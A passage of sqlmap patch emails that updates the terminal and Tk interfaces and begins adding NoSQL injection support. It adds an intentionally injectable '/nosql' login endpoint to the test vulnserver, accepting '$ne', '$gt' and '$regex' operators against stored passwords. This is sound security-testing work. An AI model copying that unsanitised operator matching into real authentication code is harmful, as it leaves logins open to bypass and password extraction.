self.stdscr.attroff(curses.color_pair(4)) + except: + pass + + # label label = option['label'][:25].ljust(25) + label_attr = curses.color_pair(4) | curses.A_BOLD if is_selected else curses.color_pair(7) try: - if is_selected: - self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) - else: - self.stdscr.attron(curses.color_pair(7)) - + self.stdscr.attron(label_attr) self.stdscr.addstr(y, 2, label) - - if is_selected: - self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) - else: - self.stdscr.attroff(curses.color_pair(7)) + self.stdscr.attroff(label_attr) except: pass - # Draw value - value_str = "" + # value (green once the user has set one, muted "(default)" otherwise) + has_value = option['value'] not in (None, "", False) if option['type'] == 'bool': value = option['value'] if option['value'] is not None else option.get('default') - value_str = "[X]" if value else "[ ]" + value_str = "[x]" if value else "[ ]" + value_attr = curses.color_pair(8) if value else curses.color_pair(5) + elif has_value: + value_str = str(option['value']) + value_attr = curses.color_pair(8) + elif option['default'] not in (None, False): + value_str = "(%s)" % str(option['default']) + value_attr = curses.color_pair(5) else: - value_str = str(option['value']) if option['value'] else "" - if option['default'] and not option['value']: - value_str = "(%s)" % str(option['default']) - - value_str = value_str[:30] + value_str = "" + value_attr = curses.color_pair(5) + if is_selected: + value_attr = curses.color_pair(4) | curses.A_BOLD try: - if is_selected: - self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) - self.stdscr.addstr(y, 28, value_str) - if is_selected: - self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) + self.stdscr.attron(value_attr) + self.stdscr.addstr(y, 28, value_str[:30]) + self.stdscr.attroff(value_attr) except: pass - # Draw help text + # help text (always shown, including on the highlighted row so it stays readable) if width > 65: - help_text = option['help'][:width-62] if option['help'] else "" + help_text = option['help'][:width - 62] if option['help'] else "" + help_attr = curses.color_pair(9) if is_selected else curses.color_pair(5) try: - self.stdscr.attron(curses.color_pair(5)) - self.stdscr.addstr(y, 60, help_text) - self.stdscr.attroff(curses.color_pair(5)) + self.stdscr.attron(help_attr) + self.stdscr.addstr(y, 60, help_text.ljust(width - 61)[:width - 61]) + self.stdscr.attroff(help_attr) except: pass @@ -292,50 +410,57 @@ def _edit_field(self): # Toggle boolean option['value'] = not option['value'] else: - # Text input + # Text input (manual key loop so Esc can cancel and Enter can save) height, width = self.stdscr.getmaxyx() - - # Create input window input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.keypad(True) input_win.box() input_win.attron(curses.color_pair(2)) input_win.addstr(0, 2, " Edit %s " % option['label'][:20]) input_win.attroff(curses.color_pair(2)) - input_win.addstr(2, 2, "Value:") - input_win.refresh() + input_win.attron(curses.color_pair(5)) + input_win.addstr(3, 2, "[Enter] save [Esc] cancel") + input_win.attroff(curses.color_pair(5)) - # Get input - curses.echo() + buffer = str(option['value']) if option['value'] not in (None, "") else "" + max_len = max(1, width - 34) + curses.noecho() curses.curs_set(1) - # Pre-fill with existing value - current_value = str(option['value']) if option['value'] else "" - input_win.addstr(2, 9, current_value) - input_win.move(2, 9) + while True: + shown = buffer[-max_len:] + input_win.addstr(2, 2, "Value: ") + input_win.addstr(2, 9, shown.ljust(max_len)[:max_len]) + input_win.move(2, 9 + len(shown)) + input_win.refresh() - try: - new_value = input_win.getstr(2, 9, width - 32).decode('utf-8') + ch = input_win.getch() + if ch == 27: # Esc -> cancel, keep old value + buffer = None + break + elif ch in (curses.KEY_ENTER, 10, 13): # Enter -> commit + break + elif ch in (curses.KEY_BACKSPACE, 127, 8): + buffer = buffer[:-1] + elif 32 <= ch <= 126: + buffer += chr(ch) - # Validate and convert based on type + curses.curs_set(0) + + if buffer is not None: if option['type'] == 'int': try: - option['value'] = int(new_value) if new_value else None + option['value'] = int(buffer) if buffer else None except ValueError: option['value'] = None elif option['type'] == 'float': try: - option['value'] = float(new_value) if new_value else None + option['value'] = float(buffer) if buffer else None except ValueError: option['value'] = None else: - option['value'] = new_value if new_value else None - except: - pass - - curses.noecho() - curses.curs_set(0) + option['value'] = buffer if buffer else None - # Clear input window input_win.clear() input_win.refresh() del input_win @@ -378,9 +503,9 @@ def _export_config(self): config[dest] = value # Set defaults for unset options - for option in self.parser.option_list: - if option.dest not in config or config[option.dest] is None: - config[option.dest] = defaults.get(option.dest, None) + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) # Save config try: @@ -537,9 +662,9 @@ def _run_sqlmap(self): config[dest] = value # Set defaults for unset options - for option in self.parser.option_list: - if option.dest not in config or config[option.dest] is None: - config[option.dest] = defaults.get(option.dest, None) + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) # Create temp config file handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) @@ -713,7 +838,7 @@ def run(self): tab = self.tabs[self.current_tab] # Handle input - if key == curses.KEY_F10 or key == 27: # F10 or ESC + if key == curses.KEY_F10: # F10 quits; Esc intentionally does NOT (it only cancels field edits) break elif key == ord('\t') or key == curses.KEY_RIGHT: # Tab or Right arrow self.current_tab = (self.current_tab + 1) % len(self.tabs) @@ -755,9 +880,17 @@ def runTui(parser): # Check if ncurses is available if curses is None: raise SqlmapMissingDependence("missing 'curses' module (optional Python module). Use a Python build that includes curses/ncurses, or install the platform-provided equivalent (e.g. for Windows: pip install windows-curses)") + # ncurses waits ESCDELAY ms (default 1000) after Esc to disambiguate escape sequences, which + # makes Esc feel like it hangs for ~1s; shrink it so Esc reacts immediately + os.environ.setdefault("ESCDELAY", "25") try: # Initialize and run def main(stdscr): + if hasattr(curses, "set_escdelay"): + try: + curses.set_escdelay(25) + except curses.error: + pass ui = NcursesUI(stdscr, parser) ui.run() From 0a331f2f891e88395acb576df45c323de640e467 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 11:11:03 +0200 Subject: [PATCH 614/853] Minor update --- data/txt/sha256sums.txt | 6 ++--- lib/core/settings.py | 2 +- lib/utils/gui.py | 56 ++++++++++++++++++++++++++++++++++------- lib/utils/tui.py | 40 ++++++++++++++++++++++++++--- 4 files changed, 87 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b1e6dddf229..7a941787127 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a6e15ece62113241870feacc9cda691c64be9b849ce2df169b35ee695a517165 lib/core/settings.py +2db950a79f3f8a4bbb0f35731d4e2eef220150961be55d8ba4b1f9565bdd483a lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -249,7 +249,7 @@ da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/craw a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py -417029b70afe672f3121746a7909887aa996766c92547b4566c50343fff76131 lib/utils/gui.py +3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py @@ -264,7 +264,7 @@ de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/sear 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py 2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824 lib/utils/sqlalchemy.py f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py -f19a6761284e689fca7d2e07120193f7b9c4f9c506ecaf87e82c2e97cca4db63 lib/utils/tui.py +f28693d5d2783f3d5069b1df3d12e01730ce783f4a40ef31656ef2c879d2f027 lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py b3c5109394f6c3cdd73a524a737b36cca7ecc56619f2a5f801eb1e7f1bfdb78b lib/utils/wafbypass.py 1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef lib/utils/xrange.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2c3537f7ebf..0a2fc08ab84 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.158" +VERSION = "1.10.6.159" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/gui.py b/lib/utils/gui.py index ed6dd13b329..97beb328b5c 100644 --- a/lib/utils/gui.py +++ b/lib/utils/gui.py @@ -208,6 +208,8 @@ def __init__(self, parser, tk, ttk, scrolledtext, messagebox, filedialog, font): self.inners = {} # name -> scrollable inner frame (populated lazily) self.builders = {} # name -> callable that populates the inner frame self.built = set() # names whose content has been built + self.badges = {} # name -> sidebar count badge label + self.sectionDests = {} # name -> [option dests in that section] self.paneOrder = [] # nav order, for Up/Down navigation self.currentPane = None self.process = None @@ -329,6 +331,7 @@ def _buildLayout(self): cmdBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 8)) cmdBar.pack(fill=tk.X) self.ttk.Label(cmdBar, text="Command:", style="Hint.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + self.ttk.Button(cmdBar, text="Copy", command=self._copyCommand, takefocus=False).pack(side=tk.RIGHT, padx=(8, 0)) self.command = tk.StringVar(value="sqlmap.py") cmdEntry = tk.Entry(cmdBar, textvariable=self.command, font=self.fonts["mono"], bg="#ffffff", fg=PALETTE["blue"], readonlybackground="#ffffff", @@ -352,6 +355,12 @@ def _buildLayout(self): self.window.bind("", lambda e: self._navKey(-1)) for seq in ("", "", ""): self.window.bind_all(seq, self._onWheel) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self._focusTarget()) + self.window.bind("", lambda e: self.saveConfigDialog()) + self.window.bind("", lambda e: self.loadConfig()) self._enableSelectAll() self._tickStats() self._prebuildPanes() @@ -586,14 +595,17 @@ def _addPane(self, name, navText): icon = tk.Canvas(row, width=22, height=22, highlightthickness=0, borderwidth=0, background=p["mantle"]) icon.pack(side=tk.LEFT, padx=(13, 0), pady=8) self._drawIcon(icon, name, self._iconColor(name)) + badge = tk.Label(row, text="", background=p["mantle"], foreground=p["blue"], font=self.fonts["small"]) + badge.pack(side=tk.RIGHT, padx=(0, 12)) + self.badges[name] = badge lab = tk.Label(row, text=navText, background=p["mantle"], foreground=p["subtext"], font=self.fonts["nav"], anchor="w", padx=10, pady=9) lab.pack(side=tk.LEFT, fill=tk.X, expand=True) - for w in (row, lab, strip, icon): + for w in (row, lab, strip, icon, badge): w.bind("", lambda e, n=name: self._selectPane(n)) w.bind("", lambda e, n=name: self._navHover(n, True)) w.bind("", lambda e, n=name: self._navHover(n, False)) - self.navItems[name] = (row, strip, icon, lab) + self.navItems[name] = (row, strip, icon, lab, badge) self.paneOrder.append(name) outer = self.ttk.Frame(self.content, style="Card.TFrame") @@ -618,8 +630,8 @@ def _navHover(self, name, entering): if name == self.currentPane: return bg = PALETTE["surface2"] if entering else PALETTE["mantle"] - row, strip, icon, lab = self.navItems[name] - for w in (row, strip, icon, lab): + row, strip, icon, lab, badge = self.navItems[name] + for w in (row, strip, icon, lab, badge): w.configure(background=bg) def _navKey(self, delta): @@ -643,16 +655,18 @@ def _selectPane(self, name): p = PALETTE if self.currentPane: self.panes[self.currentPane].pack_forget() - row, strip, icon, lab = self.navItems[self.currentPane] + row, strip, icon, lab, badge = self.navItems[self.currentPane] for w in (row, strip, icon): w.configure(background=p["mantle"]) lab.configure(background=p["mantle"], foreground=p["text"], font=self.fonts["nav"]) + badge.configure(background=p["mantle"], foreground=p["blue"]) self._drawIcon(icon, self.currentPane, self._iconColor(self.currentPane)) self.panes[name].pack(expand=True, fill=self.tk.BOTH) - row, strip, icon, lab = self.navItems[name] + row, strip, icon, lab, badge = self.navItems[name] for w in (row, strip, icon): w.configure(background=p["blue"]) lab.configure(background=p["blue"], foreground="#ffffff", font=self.fonts["bodyBold"]) + badge.configure(background=p["blue"], foreground="#ffffff") self._drawIcon(icon, name, "#ffffff") self.currentPane = name self._ensureNavVisible(name) @@ -704,6 +718,7 @@ def _onWheel(self, event): def _buildQuickStartPane(self): name = "Quick start" self._addPane(name, name) + self.sectionDests[name] = [_ for _ in QUICK_START_DESTS if _ in self.optionByDest] def build(inner): self.ttk.Label(inner, text="Quick start", style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") @@ -721,6 +736,7 @@ def build(inner): def _buildGroupPane(self, group): title = _groupTitle(group) self._addPane(title, NAV_ALIASES.get(title, title)) + self.sectionDests[title] = [_optDest(_) for _ in _groupOptions(group) if _optDest(_)] def build(inner, group=group, title=title): self.ttk.Label(inner, text=title, style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") @@ -806,19 +822,25 @@ def _center(self, window, width=None, height=None): window.geometry("%dx%d+%d+%d" % (width, height, x, y)) def _updateStats(self): - count = 0 + setDests = set() for dest, (otype, var) in self.widgets.items(): try: if otype == "bool": if var.get(): - count += 1 + setDests.add(dest) else: raw = var.get() if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): - count += 1 + setDests.add(dest) except Exception: pass + count = len(setDests) self.stat.set("%d option%s set" % (count, "" if count == 1 else "s")) + for name, dests in self.sectionDests.items(): + badge = self.badges.get(name) + if badge is not None: + hits = sum(1 for _ in dests if _ in setDests) + badge.configure(text=(str(hits) if hits else "")) def _buildCommandString(self): parts = ["sqlmap.py"] @@ -850,6 +872,22 @@ def _tickStats(self): self.command.set(self._buildCommandString()) self.window.after(1200, self._tickStats) + def _copyCommand(self): + try: + self.window.clipboard_clear() + self.window.clipboard_append(self.command.get()) + self.hint.set("Command copied to clipboard") + except Exception: + pass + + def _focusTarget(self): + try: + self.targetEntry.focus_set() + self.targetEntry.select_range(0, "end") + except Exception: + pass + return "break" + def _collectConfig(self): config = {} for dest, (otype, var) in self.widgets.items(): diff --git a/lib/utils/tui.py b/lib/utils/tui.py index 476ecceccff..3f5d6f43ead 100644 --- a/lib/utils/tui.py +++ b/lib/utils/tui.py @@ -260,6 +260,37 @@ def _draw_tabs(self): x += len(tab_text) + 1 + def _build_command(self): + """Assemble the equivalent sqlmap command line from the current field values""" + parts = ["sqlmap.py"] + for opt in self.all_options: + flag = opt['label'].split(',')[0].strip() if opt['label'] else "" + if not flag: + continue + value = opt['value'] + if opt['type'] == 'bool': + if value: + parts.append(flag) + elif value not in (None, "") and str(value) != str(opt.get('default') or ""): + text = str(value) + if ' ' in text or '"' in text: + text = '"%s"' % text.replace('"', '\\"') + parts.append("%s %s" % (flag, text)) + return " ".join(parts) + + def _draw_command(self): + """Live preview of the command being built, just above the footer""" + height, width = self.stdscr.getmaxyx() + cmd = "$ " + self._build_command() + if len(cmd) > width - 2: + cmd = cmd[:width - 5] + "..." + try: + self.stdscr.attron(curses.color_pair(8) | curses.A_BOLD) + self.stdscr.addstr(height - 2, 1, cmd.ljust(width - 2)[:width - 2]) + self.stdscr.attroff(curses.color_pair(8) | curses.A_BOLD) + except curses.error: + pass + def _draw_footer(self): """Draw the footer with help text""" height, width = self.stdscr.getmaxyx() @@ -303,12 +334,12 @@ def _draw_current_tab(self): pass y += 1 - # Draw options + # Draw options (leave height-2 for the command preview, height-1 for the footer) visible_start = self.scroll_offset - visible_end = visible_start + (height - y - 2) + visible_end = visible_start + (height - y - 3) for i, option in enumerate(tab['options'][visible_start:visible_end], visible_start): - if y >= height - 2: + if y >= height - 3: break is_selected = (i == self.current_field) @@ -374,7 +405,7 @@ def _draw_current_tab(self): if len(tab['options']) > visible_end - visible_start: try: self.stdscr.attron(curses.color_pair(6)) - self.stdscr.addstr(height - 2, width - 10, "[More...]") + self.stdscr.addstr(height - 3, width - 10, "[More...]") self.stdscr.attroff(curses.color_pair(6)) except: pass @@ -828,6 +859,7 @@ def run(self): self._draw_header() self._draw_tabs() self._draw_current_tab() + self._draw_command() self._draw_footer() self.stdscr.refresh() From 2893fd5c4d8f056f76f73facb6e6e24a25c04c85 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 22:57:09 +0200 Subject: [PATCH 615/853] Adding support for NoSQL injection --- data/txt/sha256sums.txt | 17 +- extra/vulnserver/vulnserver.py | 54 +++ lib/controller/checks.py | 8 + lib/controller/controller.py | 5 + lib/core/optiondict.py | 1 + lib/core/settings.py | 34 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/nosql/__init__.py | 6 + lib/techniques/nosql/inject.py | 765 +++++++++++++++++++++++++++++++ tests/test_nosql.py | 650 ++++++++++++++++++++++++++ 11 files changed, 1535 insertions(+), 9 deletions(-) create mode 100644 lib/techniques/nosql/__init__.py create mode 100644 lib/techniques/nosql/inject.py create mode 100644 tests/test_nosql.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7a941787127..eecb2bff2a9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,10 +160,10 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py +43214ecb0101bce72eb243c91b90db34693ebfd485d6c111a4ae22591ff7800b extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -9387fb775b694156a71b336a2a9638ef24c577aa38746f391ac040ff05306d95 lib/controller/checks.py -96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py +0c6433b289094d37f295238699042a34a6ab950bb3d11f74fe9a83d30bb7f4bd lib/controller/checks.py +ea0fdf6bcda59aae4d093bada965654a0cd940227c2dbdf62b6ded79baa8dfad lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py @@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -8b260bff7f24947ece55727277d526c88a91f7cb9ffe059c4b9c190bf85f80e1 lib/core/optiondict.py +056930fba3cf9827f97d280bc38ac785c93108eb84c922f5f39723bb04dcf403 lib/core/optiondict.py 4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,18 +189,18 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2db950a79f3f8a4bbb0f35731d4e2eef220150961be55d8ba4b1f9565bdd483a lib/core/settings.py +ca14e55b4d49a9b9f4e547180828030e4fcc51176dc9036879dbdae05919dd02 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -c1392cda2f202fa3c628f74533c8d9379d1cf7e754ac165e39021bbc2bbc4a22 lib/core/testing.py +e453904a50372216b09146ad9f11cdced2323c10f49c3d866238cc044dcb2cce lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -6060d2d11fab39796b87ace30a872302f365dea3b14d24670915fdb9edc86011 lib/parse/cmdline.py +223badcfd102cdf3313411b63d09b6c59599d58dfc40d27409b1bfa2efc1aa8f lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -240,6 +240,8 @@ a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py +44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py +d62b28bf9f1544e65a1017994402f484166f4d64a1efb724351b15e27b851990 lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py @@ -597,6 +599,7 @@ c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_has d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py +790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 47ba2cb0b8b..25e4bb3a960 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -122,6 +122,46 @@ LISTEN_ADDRESS = "localhost" LISTEN_PORT = 8440 +# Minimal MongoDB-style collection backing the NoSQL operator-injection endpoint ('/nosql'). The +# 'password' field is the blind-extraction target, constrained by a sibling 'name' equality match. +NOSQL_USERS = { + "luther": "s3cr3t", + "fluffy": "carrot", + "wu": "shanghai", +} + +def nosql_match(params): + """Emulates a MongoDB find() on NOSQL_USERS: reconstructs the operator object for the 'password' + field (from bracket-notation 'password[$ne]=...' or a JSON sub-document) and evaluates it against + the record selected by 'name'. An invalid $regex raises re.error (surfaced as a driver error).""" + + record = NOSQL_USERS.get(params.get("name")) + + spec = params.get("password") + if isinstance(spec, dict): + op, value = next(iter(spec.items()), ("$eq", None)) + else: + op, value = "$eq", spec + for key in params: + match = re.match(r"^password\[(\$\w+)\](?:\[\])?$", key) + if match: + op, value = match.group(1), params[key] + break + + if isinstance(value, (tuple, list)): + value = value[-1] if value else None + + if record is None: + return False + elif op == "$ne": + return record != value + elif op == "$gt": + return record > (value or "") + elif op == "$regex": + return re.search(value, record) is not None + else: # $eq, $in (single-valued here) and any literal equality + return record == value + _conn = None _cursor = None _lock = None @@ -285,6 +325,20 @@ def do_REQUEST(self): self.wfile.write(form.encode(UNICODE_ENCODING)) return + if self.url == "/nosql": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + try: + output = "Welcome %s" % self.params.get("name") if nosql_match(self.params) else "Invalid credentials" + except re.error: # invalid $regex -> emulate a MongoDB driver error (drives fingerprinting) + output = "MongoServerError: Regular expression is invalid: missing terminating ] for character class" + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index c450aa1d7f3..128b4123d95 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -87,6 +87,7 @@ from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_STABILITY_DELAY from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH +from lib.core.settings import NOSQL_ERROR_REGEX from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER @@ -1170,6 +1171,13 @@ def _(page): except (SystemError, RuntimeError) as ex: logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex)) + if not conf.nosql and re.search(NOSQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index bd3418d35a5..32857537608 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -520,6 +520,11 @@ def start(): checkWaf() + if conf.nosql: + from lib.techniques.nosql.inject import nosqlScan + nosqlScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 1a7d34b0129..ffb03d3fe70 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -118,6 +118,7 @@ "Techniques": { "technique": "string", + "nosql": "boolean", "timeSec": "integer", "uCols": "string", "uChar": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 0a2fc08ab84..6ad6cb33d9a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.159" +VERSION = "1.10.6.160" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -466,7 +466,8 @@ 